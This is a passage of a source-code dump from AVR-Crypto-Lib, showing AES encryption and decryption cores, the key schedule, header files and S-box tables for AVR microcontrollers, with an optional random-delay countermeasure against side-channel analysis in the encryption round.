Daniel Otte 23 | * \date 2008-12-30 24 | * \license GPLv3 or later 25 | * 26 | */ 27 | 28 | #include "aes.h" 29 | #include "aes_enc.h" 30 | 31 | void aes128_enc(void *buffer, aes128_ctx_t *ctx, uint8_t countermeasures) 32 | { 33 | aes_encrypt_core(buffer, (aes_genctx_t*) ctx, 10, countermeasures); 34 | } 35 | 36 | -------------------------------------------------------------------------------- /source/aes/aes128_enc.h: -------------------------------------------------------------------------------- 1 | /* aes128_enc.h */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | /** 20 | * \file aes128_enc.h 21 | * \email bg@nerilex.org 22 | * \author Daniel Otte 23 | * \date 2008-12-30 24 | * \license GPLv3 or later 25 | * \ingroup AES 26 | */ 27 | 28 | #ifndef AES128_ENC_H_ 29 | #define AES128_ENC_H_ 30 | 31 | #include "aes_types.h" 32 | #include "aes_enc.h" 33 | 34 | /** 35 | * \brief encrypt with 128 bit key. 36 | * 37 | * This function encrypts one block with the AES algorithm under control of 38 | * a keyschedule produced from a 128 bit key. 39 | * \param buffer pointer to the block to encrypt 40 | * \param ctx pointer to the key schedule 41 | */ 42 | void aes128_enc(void *buffer, aes128_ctx_t *ctx, uint8_t countermeasures); 43 | 44 | #endif /* AES128_ENC_H_ */ 45 | -------------------------------------------------------------------------------- /source/aes/aes_dec.c: -------------------------------------------------------------------------------- 1 | /* aes.c */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | #include 21 | #include 22 | #include "gf256mul.h" 23 | #include "aes.h" 24 | #include "aes_invsbox.h" 25 | #include "aes_dec.h" 26 | #include 27 | 28 | void aes_invshiftrow(void *data, uint8_t shift){ 29 | uint8_t tmp[4]; 30 | tmp[0] = ((uint8_t*)data)[(4+0-shift)&3]; 31 | tmp[1] = ((uint8_t*)data)[(4+1-shift)&3]; 32 | tmp[2] = ((uint8_t*)data)[(4+2-shift)&3]; 33 | tmp[3] = ((uint8_t*)data)[(4+3-shift)&3]; 34 | memcpy(data, tmp, 4); 35 | } 36 | 37 | void aes_invshiftcol(void *data, uint8_t shift){ 38 | uint8_t tmp[4]; 39 | tmp[0] = ((uint8_t*)data)[ 0]; 40 | tmp[1] = ((uint8_t*)data)[ 4]; 41 | tmp[2] = ((uint8_t*)data)[ 8]; 42 | tmp[3] = ((uint8_t*)data)[12]; 43 | ((uint8_t*)data)[ 0] = tmp[(4-shift+0)&3]; 44 | ((uint8_t*)data)[ 4] = tmp[(4-shift+1)&3]; 45 | ((uint8_t*)data)[ 8] = tmp[(4-shift+2)&3]; 46 | ((uint8_t*)data)[12] = tmp[(4-shift+3)&3]; 47 | } 48 | static 49 | void aes_dec_round(aes_cipher_state_t *state, const aes_roundkey_t *k){ 50 | uint8_t tmp[16]; 51 | uint8_t i; 52 | uint8_t t,u,v,w; 53 | /* keyAdd */ 54 | for(i=0; i<16; ++i){ 55 | tmp[i] = state->s[i] ^ k->ks[i]; 56 | } 57 | /* mixColums */ 58 | for(i=0; i<4; ++i){ 59 | t = tmp[4*i+3] ^ tmp[4*i+2]; 60 | u = tmp[4*i+1] ^ tmp[4*i+0]; 61 | v = t ^ u; 62 | v = gf256mul(0x09, v, 0x1b); 63 | w = v ^ gf256mul(0x04, tmp[4*i+2] ^ tmp[4*i+0], 0x1b); 64 | v = v ^ gf256mul(0x04, tmp[4*i+3] ^ tmp[4*i+1], 0x1b); 65 | state->s[4*i+3] = tmp[4*i+3] ^ v ^ gf256mul(0x02, tmp[4*i+0] ^ tmp[4*i+3], 0x1b); 66 | state->s[4*i+2] = tmp[4*i+2] ^ w ^ gf256mul(0x02, t, 0x1b); 67 | state->s[4*i+1] = tmp[4*i+1] ^ v ^ gf256mul(0x02, tmp[4*i+2] ^ tmp[4*i+1], 0x1b); 68 | state->s[4*i+0] = tmp[4*i+0] ^ w ^ gf256mul(0x02, u, 0x1b); 69 | 70 | /* 71 | state->s[4*i+0] = 72 | gf256mul(0xe, tmp[4*i+0], 0x1b) 73 | ^ gf256mul(0xb, tmp[4*i+1], 0x1b) 74 | ^ gf256mul(0xd, tmp[4*i+2], 0x1b) 75 | ^ gf256mul(0x9, tmp[4*i+3], 0x1b); 76 | state->s[4*i+1] = 77 | gf256mul(0x9, tmp[4*i+0], 0x1b) 78 | ^ gf256mul(0xe, tmp[4*i+1], 0x1b) 79 | ^ gf256mul(0xb, tmp[4*i+2], 0x1b) 80 | ^ gf256mul(0xd, tmp[4*i+3], 0x1b); 81 | state->s[4*i+2] = 82 | gf256mul(0xd, tmp[4*i+0], 0x1b) 83 | ^ gf256mul(0x9, tmp[4*i+1], 0x1b) 84 | ^ gf256mul(0xe, tmp[4*i+2], 0x1b) 85 | ^ gf256mul(0xb, tmp[4*i+3], 0x1b); 86 | state->s[4*i+3] = 87 | gf256mul(0xb, tmp[4*i+0], 0x1b) 88 | ^ gf256mul(0xd, tmp[4*i+1], 0x1b) 89 | ^ gf256mul(0x9, tmp[4*i+2], 0x1b) 90 | ^ gf256mul(0xe, tmp[4*i+3], 0x1b); 91 | */ 92 | } 93 | /* shiftRows */ 94 | aes_invshiftcol(state->s+1, 1); 95 | aes_invshiftcol(state->s+2, 2); 96 | aes_invshiftcol(state->s+3, 3); 97 | /* subBytes */ 98 | for(i=0; i<16; ++i){ 99 | state->s[i] = pgm_read_byte(aes_invsbox+state->s[i]); 100 | } 101 | } 102 | 103 | 104 | static 105 | void aes_dec_firstround(aes_cipher_state_t *state, const aes_roundkey_t *k){ 106 | uint8_t i; 107 | /* keyAdd */ 108 | for(i=0; i<16; ++i){ 109 | state->s[i] ^= k->ks[i]; 110 | } 111 | /* shiftRows */ 112 | aes_invshiftcol(state->s+1, 1); 113 | aes_invshiftcol(state->s+2, 2); 114 | aes_invshiftcol(state->s+3, 3); 115 | /* subBytes */ 116 | for(i=0; i<16; ++i){ 117 | state->s[i] = pgm_read_byte(aes_invsbox+state->s[i]); 118 | } 119 | } 120 | 121 | void aes_decrypt_core(aes_cipher_state_t *state, const aes_genctx_t *ks, uint8_t rounds){ 122 | uint8_t i; 123 | aes_dec_firstround(state, &(ks->key[i=rounds])); 124 | for(;rounds>1;--rounds){ 125 | --i; 126 | aes_dec_round(state, &(ks->key[i])); 127 | } 128 | for(i=0; i<16; ++i){ 129 | state->s[i] ^= ks->key[0].ks[i]; 130 | } 131 | } 132 | -------------------------------------------------------------------------------- /source/aes/aes_dec.h: -------------------------------------------------------------------------------- 1 | /* aes_dec.h */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | /** 20 | * \file aes_dec.h 21 | * \email bg@nerilex.org 22 | * \author Daniel Otte 23 | * \date 2008-12-30 24 | * \license GPLv3 or later 25 | * 26 | */ 27 | #ifndef AES_DEC_H_ 28 | #define AES_DEC_H_ 29 | #include "aes_types.h" 30 | #include 31 | 32 | 33 | void aes_decrypt_core(aes_cipher_state_t *state,const aes_genctx_t *ks, uint8_t rounds); 34 | 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /source/aes/aes_enc.c: -------------------------------------------------------------------------------- 1 | /* aes_enc.c */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | /** 20 | * \file aes_enc.c 21 | * \email bg@nerilex.org 22 | * \author Daniel Otte 23 | * \date 2008-12-30 24 | * \license GPLv3 or later 25 | * 26 | */ 27 | 28 | #include 29 | #include 30 | #include 31 | #include "aes.h" 32 | #include "gf256mul.h" 33 | #include "aes_sbox.h" 34 | #include "aes_enc.h" 35 | #include 36 | 37 | 38 | 39 | void aes_shiftcol(void *data, uint8_t shift) 40 | { 41 | uint8_t tmp[4]; 42 | tmp[0] = ((uint8_t*) data)[0]; 43 | tmp[1] = ((uint8_t*) data)[4]; 44 | tmp[2] = ((uint8_t*) data)[8]; 45 | tmp[3] = ((uint8_t*) data)[12]; 46 | ((uint8_t*) data)[0] = tmp[(shift + 0) & 3]; 47 | ((uint8_t*) data)[4] = tmp[(shift + 1) & 3]; 48 | ((uint8_t*) data)[8] = tmp[(shift + 2) & 3]; 49 | ((uint8_t*) data)[12] = tmp[(shift + 3) & 3]; 50 | } 51 | 52 | #define GF256MUL_1(a) (a) 53 | #define GF256MUL_2(a) (gf256mul(2, (a), 0x1b)) 54 | #define GF256MUL_3(a) (gf256mul(3, (a), 0x1b)) 55 | 56 | static 57 | void aes_enc_round(aes_cipher_state_t *state, const aes_roundkey_t *k, uint8_t countermeasures) 58 | { 59 | uint8_t tmp[16], t; 60 | uint8_t i; 61 | 62 | volatile uint16_t loop; 63 | 64 | /* subBytes */ 65 | for (i = 0; i < 16; ++i) { 66 | tmp[i] = pgm_read_byte(aes_sbox + state->s[i]); 67 | } 68 | /* shiftRows */ 69 | aes_shiftcol(tmp + 1, 1); 70 | aes_shiftcol(tmp + 2, 2); 71 | aes_shiftcol(tmp + 3, 3); 72 | /* mixColums */ 73 | for (i = 0; i < 4; ++i) { 74 | t = tmp[4 * i + 0] ^ tmp[4 * i + 1] ^ tmp[4 * i + 2] ^ tmp[4 * i + 3]; 75 | 76 | 77 | if (countermeasures == 1) { 78 | for (loop = random() & 0x00003FF; loop>0; loop--) { 79 | 80 | } 81 | } 82 | 83 | state->s[4 * i + 0] = 84 | GF256MUL_2(tmp[4*i+0]^tmp[4*i+1]) 85 | ^ tmp[4 * i + 0] 86 | ^ t; 87 | 88 | state->s[4 * i + 1] = 89 | GF256MUL_2(tmp[4*i+1]^tmp[4*i+2]) 90 | ^ tmp[4 * i + 1] 91 | ^ t; 92 | 93 | if (countermeasures == 1) { 94 | for (loop = random() & 0x00003FF; loop>0; loop--) { 95 | 96 | } 97 | } 98 | 99 | state->s[4 * i + 2] = 100 | GF256MUL_2(tmp[4*i+2]^tmp[4*i+3]) 101 | ^ tmp[4 * i + 2] 102 | ^ t; 103 | state->s[4 * i + 3] = 104 | GF256MUL_2(tmp[4*i+3]^tmp[4*i+0]) 105 | ^ tmp[4 * i + 3] 106 | ^ t; 107 | } 108 | 109 | /* addKey */ 110 | for (i = 0; i < 16; ++i) { 111 | state->s[i] ^= k->ks[i]; 112 | } 113 | } 114 | 115 | static 116 | void aes_enc_lastround(aes_cipher_state_t *state, const aes_roundkey_t *k) 117 | { 118 | uint8_t i; 119 | /* subBytes */ 120 | for (i = 0; i < 16; ++i) { 121 | state->s[i] = pgm_read_byte(aes_sbox + state->s[i]); 122 | } 123 | /* shiftRows */ 124 | aes_shiftcol(state->s + 1, 1); 125 | aes_shiftcol(state->s + 2, 2); 126 | aes_shiftcol(state->s + 3, 3); 127 | /* keyAdd */ 128 | for (i = 0; i < 16; ++i) { 129 | state->s[i] ^= k->ks[i]; 130 | } 131 | } 132 | 133 | void aes_encrypt_core(aes_cipher_state_t *state, const aes_genctx_t *ks, 134 | uint8_t rounds, uint8_t countermeasures) 135 | { 136 | uint8_t i; 137 | for (i = 0; i < 16; ++i) { 138 | state->s[i] ^= ks->key[0].ks[i]; 139 | } 140 | i = 1; 141 | for (; rounds > 1; --rounds) { 142 | aes_enc_round(state, &(ks->key[i]), countermeasures); 143 | ++i; 144 | } 145 | aes_enc_lastround(state, &(ks->key[i])); 146 | } 147 | -------------------------------------------------------------------------------- /source/aes/aes_enc.h: -------------------------------------------------------------------------------- 1 | /* aes_enc.h */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | /** 20 | * \file aes_enc.h 21 | * \email bg@nerilex.org 22 | * \author Daniel Otte 23 | * \date 2008-12-30 24 | * \license GPLv3 or later 25 | * 26 | */ 27 | #ifndef AES_ENC_H_ 28 | #define AES_ENC_H_ 29 | #include "aes_types.h" 30 | #include 31 | 32 | void aes_encrypt_core(aes_cipher_state_t *state, const aes_genctx_t *ks, 33 | uint8_t rounds, uint8_t countermeasures); 34 | 35 | #endif 36 | -------------------------------------------------------------------------------- /source/aes/aes_invsbox.c: -------------------------------------------------------------------------------- 1 | /* aes inverted sbox */ 2 | 3 | #include 4 | #include 5 | const uint8_t aes_invsbox[256] PROGMEM = { 6 | 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 7 | 0x81, 0xf3, 0xd7, 0xfb, 8 | 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 9 | 0xc4, 0xde, 0xe9, 0xcb, 10 | 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 11 | 0x42, 0xfa, 0xc3, 0x4e, 12 | 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 13 | 0x6d, 0x8b, 0xd1, 0x25, 14 | 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 15 | 0x5d, 0x65, 0xb6, 0x92, 16 | 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 17 | 0xa7, 0x8d, 0x9d, 0x84, 18 | 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 19 | 0xb8, 0xb3, 0x45, 0x06, 20 | 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 21 | 0x01, 0x13, 0x8a, 0x6b, 22 | 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 23 | 0xf0, 0xb4, 0xe6, 0x73, 24 | 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 25 | 0x1c, 0x75, 0xdf, 0x6e, 26 | 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 27 | 0xaa, 0x18, 0xbe, 0x1b, 28 | 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 29 | 0x78, 0xcd, 0x5a, 0xf4, 30 | 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 31 | 0x27, 0x80, 0xec, 0x5f, 32 | 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 33 | 0x93, 0xc9, 0x9c, 0xef, 34 | 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 35 | 0x83, 0x53, 0x99, 0x61, 36 | 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 37 | 0x55, 0x21, 0x0c, 0x7d 38 | }; 39 | -------------------------------------------------------------------------------- /source/aes/aes_invsbox.h: -------------------------------------------------------------------------------- 1 | /* aes_invsbox.h */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | /** 20 | * \file aes_invsbox.h 21 | * \email bg@nerilex.org 22 | * \author Daniel Otte 23 | * \date 2008-12-30 24 | * \license GPLv3 or later 25 | * 26 | */ 27 | #ifndef AES_INVSBOX_H_ 28 | #define AES_INVSBOX_H_ 29 | #include 30 | 31 | extern uint8_t aes_invsbox[]; 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /source/aes/aes_keyschedule.c: -------------------------------------------------------------------------------- 1 | /* aes_keyschedule.c */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | /** 20 | * \file aes_keyschedule.c 21 | * \email bg@nerilex.org 22 | * \author Daniel Otte 23 | * \date 2008-12-30 24 | * \license GPLv3 or later 25 | * 26 | */ 27 | 28 | #include 29 | #include "aes.h" 30 | #include "aes_keyschedule.h" 31 | #include "aes_sbox.h" 32 | #include 33 | #include 34 | 35 | static 36 | void aes_rotword(void *a) 37 | { 38 | uint8_t t; 39 | t = ((uint8_t*) a)[0]; 40 | ((uint8_t*) a)[0] = ((uint8_t*) a)[1]; 41 | ((uint8_t*) a)[1] = ((uint8_t*) a)[2]; 42 | ((uint8_t*) a)[2] = ((uint8_t*) a)[3]; 43 | ((uint8_t*) a)[3] = t; 44 | } 45 | 46 | const uint8_t rc_tab[] PROGMEM = { 0x01, 0x02, 0x04, 0x08, 47 | 0x10, 0x20, 0x40, 0x80, 48 | 0x1b, 0x36 }; 49 | 50 | void aes_init(const void *key, uint16_t keysize_b, aes_genctx_t *ctx) 51 | { 52 | uint8_t hi, i, nk, next_nk; 53 | uint8_t rc = 0; 54 | union { 55 | uint32_t v32; 56 | uint8_t v8[4]; 57 | } tmp; 58 | nk = keysize_b >> 5; /* 4, 6, 8 */ 59 | hi = 4 * (nk + 6 + 1); 60 | memcpy(ctx, key, keysize_b / 8); 61 | next_nk = nk; 62 | for (i = nk; i < hi; ++i) { 63 | tmp.v32 = ((uint32_t*) (ctx->key[0].ks))[i - 1]; 64 | if (i != next_nk) { 65 | if (nk == 8 && i % 8 == 4) { 66 | tmp.v8[0] = pgm_read_byte(aes_sbox + tmp.v8[0]); 67 | tmp.v8[1] = pgm_read_byte(aes_sbox + tmp.v8[1]); 68 | tmp.v8[2] = pgm_read_byte(aes_sbox + tmp.v8[2]); 69 | tmp.v8[3] = pgm_read_byte(aes_sbox + tmp.v8[3]); 70 | } 71 | } else { 72 | next_nk += nk; 73 | aes_rotword(&(tmp.v32)); 74 | tmp.v8[0] = pgm_read_byte(aes_sbox + tmp.v8[0]); 75 | tmp.v8[1] = pgm_read_byte(aes_sbox + tmp.v8[1]); 76 | tmp.v8[2] = pgm_read_byte(aes_sbox + tmp.v8[2]); 77 | tmp.v8[3] = pgm_read_byte(aes_sbox + tmp.v8[3]); 78 | tmp.v8[0] ^= pgm_read_byte(rc_tab + rc); 79 | rc++; 80 | } 81 | ((uint32_t*) (ctx->key[0].ks))[i] = ((uint32_t*) (ctx->key[0].ks))[i 82 | - nk] 83 | ^ tmp.v32; 84 | } 85 | } 86 | 87 | void aes128_init(const void *key, aes128_ctx_t *ctx) 88 | { 89 | aes_init(key, 128, (aes_genctx_t*) ctx); 90 | } 91 | 92 | void aes192_init(const void *key, aes192_ctx_t *ctx) 93 | { 94 | aes_init(key, 192, (aes_genctx_t*) ctx); 95 | } 96 | 97 | void aes256_init(const void *key, aes256_ctx_t *ctx) 98 | { 99 | aes_init(key, 256, (aes_genctx_t*) ctx); 100 | } 101 | -------------------------------------------------------------------------------- /source/aes/aes_keyschedule.h: -------------------------------------------------------------------------------- 1 | /* aes_keyschedule.h */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | /** 20 | * \file aes_keyschedule.h 21 | * \email bg@nerilex.org 22 | * \author Daniel Otte 23 | * \date 2008-12-30 24 | * \license GPLv3 or later 25 | * \ingroup AES 26 | */ 27 | 28 | #ifndef AES_KEYSCHEDULE_H_ 29 | #define AES_KEYSCHEDULE_H_ 30 | 31 | #include "aes_types.h" 32 | /** 33 | * \brief initialize the keyschedule 34 | * 35 | * This function computes the keyschedule from a given key with a given length 36 | * and stores it in the context variable 37 | * \param key pointer to the key material 38 | * \param keysize_b length of the key in bits (valid are 128, 192 and 256) 39 | * \param ctx pointer to the context where the keyschedule should be stored 40 | */ 41 | void aes_init(const void *key, uint16_t keysize_b, aes_genctx_t *ctx); 42 | 43 | /** 44 | * \brief initialize the keyschedule for 128 bit key 45 | * 46 | * This function computes the keyschedule from a given 128 bit key 47 | * and stores it in the context variable 48 | * \param key pointer to the key material 49 | * \param ctx pointer to the context where the keyschedule should be stored 50 | */ 51 | void aes128_init(const void *key, aes128_ctx_t *ctx); 52 | 53 | /** 54 | * \brief initialize the keyschedule for 192 bit key 55 | * 56 | * This function computes the keyschedule from a given 192 bit key 57 | * and stores it in the context variable 58 | * \param key pointer to the key material 59 | * \param ctx pointer to the context where the keyschedule should be stored 60 | */ 61 | void aes192_init(const void *key, aes192_ctx_t *ctx); 62 | 63 | /** 64 | * \brief initialize the keyschedule for 256 bit key 65 | * 66 | * This function computes the keyschedule from a given 256 bit key 67 | * and stores it in the context variable 68 | * \param key pointer to the key material 69 | * \param ctx pointer to the context where the keyschedule should be stored 70 | */ 71 | void aes256_init(const void *key, aes256_ctx_t *ctx); 72 | 73 | #endif /* AES_KEYSCHEDULE_H_ */ 74 | 75 | -------------------------------------------------------------------------------- /source/aes/aes_sbox.c: -------------------------------------------------------------------------------- 1 | /* aes sbox */ 2 | 3 | #include 4 | #include 5 | const uint8_t aes_sbox[256] PROGMEM = { 6 | 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 7 | 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 8 | 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 9 | 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 10 | 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 11 | 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 12 | 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 13 | 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 14 | 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 15 | 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 16 | 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 17 | 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 18 | 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 19 | 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 20 | 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 21 | 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 22 | }; 23 | 24 | -------------------------------------------------------------------------------- /source/aes/aes_sbox.h: -------------------------------------------------------------------------------- 1 | /* aes_sbox.h */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | /** 20 | * \file aes_sbox.h 21 | * \email bg@nerilex.org 22 | * \author Daniel Otte 23 | * \date 2008-12-30 24 | * \license GPLv3 or later 25 | * 26 | */ 27 | #ifndef AES_SBOX_H_ 28 | #define AES_SBOX_H_ 29 | #include 30 | 31 | extern uint8_t aes_sbox[]; 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /source/aes/aes_types.h: -------------------------------------------------------------------------------- 1 | /* aes.h */ 2 | /* 3 | This file is part of the AVR-Crypto-Lib. 4 | Copyright (C) 2006-2015 Daniel Otte (bg@nerilex.org) 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A 